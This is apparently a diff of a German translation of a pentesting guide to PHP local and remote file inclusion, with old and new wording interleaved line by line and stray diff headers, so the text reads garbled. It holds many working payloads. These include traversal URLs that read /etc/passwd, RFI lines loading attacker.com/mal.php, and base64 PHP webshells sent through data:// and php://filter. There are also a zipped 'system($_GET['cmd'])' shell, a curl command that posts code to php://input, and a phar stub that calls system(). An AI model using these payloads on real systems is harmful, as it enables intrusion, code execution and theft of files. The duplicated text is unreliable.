Dies ist **seit PHP 5.4 behoben**
### **Kodierung**
### **Encoding**
Sie könnten nicht-standardisierte Kodierungen wie doppelte URL-Kodierung (und andere) verwenden:
Du könntest nicht-standardmäßige encodings wie double URL encode (und andere) verwenden:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Aus bestehendem Ordner
### Aus vorhandenem Ordner
Vielleicht überprüft das Backend den Ordnerpfad:
Möglicherweise überprüft das Back-end den Ordnerpfad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erforschen von Dateisystemverzeichnissen auf einem Server
### Erkundung von Verzeichnissen im Dateisystem eines Servers
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
Das Dateisystem eines Servers kann rekursiv durchsucht werden, um Verzeichnisse, nicht nur Dateien, zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Abfragen auf das Vorhandensein bestimmter Ordner. Unten folgt eine detaillierte Methode, um dies zu erreichen:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist:
1. **Bestimme die Verzeichnistiefe:** Ermittle die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei `/etc/passwd` abrufst (anwendbar, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Ordner prüfen:** Hängen Sie den Namen des verdächtigen Ordners (z.B. `private`) an die URL an und navigieren Sie dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnistiefe erfordert eine Erhöhung der Tiefe um eins:
2. **Nach Ordnern suchen:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretieren der Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
3. **Ergebnisse interpretieren:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Methoden der Local File Inclusion (LFI) untersucht werden.
4. **Rekursive Erkundung:** Gefundene Ordner können weiter nach Unterverzeichnissen oder Dateien untersucht werden, entweder mit derselben Technik oder traditionellen Local File Inclusion (LFI)-Methoden.
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Nutzlast entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein Verzeichnis `private` enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
Um Verzeichnisse an anderen Stellen im Dateisystem zu erkunden, passe das Payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein `private`-Verzeichnis enthält (angenommen, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird oft eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad so zu erstellen, dass er, nachdem die Sicherheitsmaßnahme ihn verändert hat, immer noch auf die gewünschte Datei zeigt.
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Funktionsweise des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` und `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (was es zu `passwd/` macht) die Ziel-Datei nicht.
- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen eines `/.` am Ende die aufgerufene Datei nicht verändern.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (also `passwd/`) die Ziel-Datei nicht.
- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), verändert das Hinzufügen von `/.` am Ende nicht die aufgerufene Datei.
Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
Die folgenden Beispiele zeigen, wie man path truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
In diesen Szenarien könnte die Anzahl benötigter Traversals etwa 2027 betragen, aber diese Zahl kann je nach server's Konfiguration variieren.
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Wurzelverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Zeichenfolgen durch den server effektiv zu ignorieren.
- **Determining the Required Number of Traversals**: Durch Versuch und Irrtum kann man die genaue Anzahl von `../`-Sequenzen herausfinden, die notwendig sind, um zum Root-Verzeichnis und anschließend zu `/etc/passwd` zu gelangen, wobei sichergestellt wird, dass angehängte Strings (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Starting with a Fake Directory**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme eingesetzt oder um die Anforderungen der Pfadparsing-Logik des server zu erfüllen.
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Beim Einsatz von path truncation-Techniken ist es entscheidend, das Path-Parsing-Verhalten des server und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
**Diese Verwundbarkeit wurde in PHP 5.3 behoben.**
### **Tricks zum Umgehen von Filtern**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php ist dies standardmäßig deaktiviert, da **`allow_url_include`** **Aus** ist. Es muss **Ein** sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:
In php ist dies standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Wenn aus irgendeinem Grund **`allow_url_include`** auf **On** gesetzt ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
Wenn aus irgendeinem Grund **`allow_url_include`** **On** ist, PHP den Zugriff auf externe Webseiten aber **filtert**, kann man [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) zum Beispiel das data protocol mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Im vorherigen Code wurde das finale `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf `.txt` endete, also endet die Zeichenkette damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der eigentliche PHP-Code eingebunden (und daher ausgeführt).
Ein weiteres Beispiel **ohne Verwendung des `php://`-Protokolls** wäre:
Ein weiteres Beispiel, das **nicht das `php://`-Protokoll verwendet**, wäre:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
## Python Root-Element
In Python in a code like this one:
In python in einem Code wie diesem:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Wenn der Benutzer einen **absoluten Pfad** zu **`file_name`** übergibt, wird der **vorherige Pfad einfach entfernt**:
Wenn der Benutzer einen **absolute path** an **`file_name`** übergibt, wird der **vorherige Pfad einfach entfernt**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Es ist das beabsichtigte Verhalten gemäß [den Docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Es ist das beabsichtigte Verhalten gemäß [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der absoluten Pfadkomponente.
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird von der absoluten Pfadkomponente fortgesetzt.
## Java Verzeichnisse auflisten
Es scheint, dass wenn Sie eine Path Traversal in Java haben und Sie **nach einem Verzeichnis** anstelle einer Datei fragen, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Dies wird in anderen Sprachen (soweit ich weiß) nicht passieren.
Es scheint, dass wenn du eine Path Traversal in Java hast und du **nach einem Verzeichnis fragst** anstatt nach einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Das tritt in anderen Sprachen nicht auf (soweit ich weiß).
## Top 25 Parameter
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Datei-Inclusion (LFI) Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI) Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Date
?mod={payload}
?conf={payload}
```
## LFI / RFI mit PHP-Wrappers & Protokollen
## LFI / RFI mit PHP wrappers & protocols
### php://filter
PHP-Filter ermöglichen grundlegende **Modifikationsoperationen an den Daten**, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
PHP-Filter erlauben es, grundlegende **Modifikationsoperationen an den Daten** durchzuführen, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
- [String-Filter](https://www.php.net/manual/en/filters.string.php):
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")
- Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist.
- [Konvertierungsfilter](https://www.php.net/manual/en/filters.convert.php)
- Beachte, dass dieser Filter in modernen PHP-Versionen nicht mehr vorhanden ist
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*`: Transformiert in eine andere Kodierung (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
- `convert.iconv.*` : Wandelt in eine andere Kodierung um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führe in der Konsole aus: `iconv -l`
> [!WARNING]
> Durch den Missbrauch des `convert.iconv.*`-Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu erstellen, die willkürlichen Text verarbeitet. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
> Durch Missbrauch des `convert.iconv.*`-Konvertierungsfilters kannst du **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Informationen siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Kompressionsfilter](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich beim Exfiltrieren großer Datenmengen)
- `zlib.inflate`: Dekomprimiert die Daten
- [Verschlüsselungsfilter](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*`: Veraltet
- `mdecrypt.*`: Veraltet
- Andere Filter
- Wenn Sie in PHP `var_dump(stream_get_filters());` ausführen, können Sie ein paar **unerwartete Filter** finden:
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : veraltet
- `mdecrypt.*` : veraltet
- Other Filters
- Wenn man in PHP `var_dump(stream_get_filters());` ausführt, findest du ein paar **unerwartete Filter**:
- `consumed`
- `dechunk`: Kehrt die HTTP-chunked Kodierung um
- `dechunk`: kehrt HTTP Chunked-Encoding um
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Der Teil "php://filter" ist nicht groß-/kleinschreibungsempfindlich
> Der Abschnitt "php://filter" beachtet die Groß-/Kleinschreibung nicht
### Verwendung von php-Filtern als Oracle zum Lesen beliebiger Dateien
### Verwendung von php filters als Oracle zum Lesen beliebiger Dateien
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration of the file (char by char) using php filters** als Oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so zu vergrößern, dass php eine Exception wirft.
Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
Im Originalbeitrag findest du eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:
- Verwenden Sie den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
- Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst.
- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe nicht mehr ein hexadezimales Zeichen, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben).
- Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
- Verwende den Codec **`UCS-4LE`**, um das führende Zeichen des Textes an seinem Platz zu belassen und die Länge des Strings exponentiell anwachsen zu lassen.
- Damit wird ein **Text erzeugt, der so groß ist, wenn der Anfangsbuchstabe korrekt geraten wurde**, dass php einen **error** auslöst.
- Der Filter **dechunk** wird **alles entfernen, wenn das erste Zeichen kein hexadecimal ist**, sodass wir feststellen können, ob das erste Zeichen hex ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern abhängig vom geratenen Zeichen), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir beobachten, wann genügend Transformationen angewendet wurden, damit es kein hexadecimal Zeichen mehr ist. Denn wenn es hex ist, löscht dechunk es nicht und die anfängliche Bombe verursacht einen php error.
- Der Codec **convert.iconv.UNICODE.CP930** verwandelt jeden Buchstaben in den folgenden (also nach diesem Codec: a -> b). Das erlaubt uns herauszufinden, ob das erste Zeichen z.B. ein `a` ist, denn wenn wir diesen Codec sechsmal anwenden (a->b->c->d->e->f->g), gehört das Zeichen nicht mehr zum hexadecimal-Bereich, daher löscht dechunk es nicht und der php error wird ausgelöst, weil er sich mit der initialen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere chars zu leak'en wie n, o, p, q, r (und andere Codecs können verwendet werden, um andere Buchstaben in den hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-encodiert werden und die ersten 2 Buchstaben leak'en, um die Zahl zu leak'en.
- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leak'en kann**. Durch die Verwendung von Order-Memory-Filtern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an die erste Position andere Buchstaben des Textes zu bringen.
- Und um **further data** erhalten zu können, besteht die Idee darin, mit **generate 2 bytes of junk data at the beginning** mittels **convert.iconv.UTF16.UTF16** 2 Byte Junk am Anfang zu erzeugen, **UCS-4LE** anzuwenden, damit es **pivot with the next 2 bytes**, und d**elete the data until the junk data** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Führe dies so lange fort, bis du das gewünschte Bit zum leak'en erreicht hast.
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Im Beitrag wurde außerdem ein Tool geleaked, um dies automatisch auszuführen: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
Dieser Wrapper erlaubt den Zugriff auf file descriptors, die der Prozess offen hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrate:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Sie können auch **php://stdin, php://stdout und php://stderr** verwenden, um auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (nicht sicher, wie dies in einem Angriff nützlich sein könnte).
Du kannst auch **php://stdin, php://stdout und php://stderr** verwenden, um jeweils auf die **file descriptors 0, 1 und 2** zuzugreifen (nicht sicher, wie das bei einem Angriff nützlich sein könnte)
### zip:// und rar://
### zip:// and rar://
Laden Sie eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greifen Sie darauf zu.\
Um das rar-Protokoll missbrauchen zu können, **muss es speziell aktiviert werden**.
Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.\
Um das rar-Protokoll missbrauchen zu können, muss es **speziell aktiviert** werden.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Beachten Sie, dass dieses Protokoll durch die PHP-Konfigurationen **`allow_url_open`** und **`allow_url_include`** eingeschränkt ist.
Beachte, dass dieses Protokoll durch php-Konfigurationen **`allow_url_open`** und **`allow_url_include`** eingeschränkt ist
### expect://
Expect muss aktiviert sein. Sie können Code mit folgendem ausführen:
Expect muss aktiviert sein. Du kannst Code damit ausführen:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Geben Sie Ihre Payload in den POST-Parametern an:
Gib dein payload in den POST-Parametern an:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien nutzt. Der folgende PHP-Codeausschnitt zeigt die Erstellung einer `.phar`-Datei:
Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zur Dateiladung verwendet. Der unten stehende PHP-Code zeigt die Erstellung einer `.phar`-Datei:
```php
<?php
$phar = new Phar('test.phar');
@ -354,94 +354,95 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Um die `.phar`-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:
Um die `.phar`-Datei zu erstellen, sollte der folgende Befehl ausgeführt werden:
```bash
php --define phar.readonly=0 create_path.php
```
Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
Beim Ausführen wird eine Datei mit dem Namen `test.phar` erstellt, die möglicherweise zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden kann.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb dieser durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
In Fällen, in denen das LFI nur das Lesen von Dateien durchführt, ohne den darin enthaltenen PHP-Code auszuführen — z. B. durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` — könnte versucht werden, eine deserialization vulnerability auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das `phar`-Protokoll zusammen.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument:
Für ein detailliertes Verständnis zur Ausnutzung von deserialization vulnerabilities im Kontext von `.phar`-Dateien siehe das unten verlinkte Dokument:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und PHP-Filter unterstützt, zu missbrauchen**, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Eine sehr kurze Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
Es war möglich, Blöcke spezifischer Größen durch den Missbrauch weiterer PHP-Filter zuzuweisen.
Es war möglich, **any arbitrary file read from PHP that supports php filters** zu missbrauchen, um RCE zu erlangen. Die detaillierte Beschreibung kann [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr kurze Zusammenfassung: Ein **3 byte overflow** im PHP-Heap wurde missbraucht, um die **chain of free chunks** einer bestimmten Größe zu verändern, um **anything in any address** schreiben zu können; daher wurde ein Hook hinzugefügt, der **`system`** aufruft.\
Es war möglich, durch Ausnutzung weiterer php filters Chunks mit bestimmten Größen zu allocen.
### Weitere Protokolle
### More protocols
Überprüfen Sie weitere mögliche [**Protokolle, die hier einbezogen werden können**](https://www.php.net/manual/en/wrappers.php)**:**
Siehe weitere mögliche [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory und php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — In den Speicher oder in eine temporäre Datei schreiben (nicht sicher, wie dies bei einem Datei-Inclusion-Angriff nützlich sein kann)
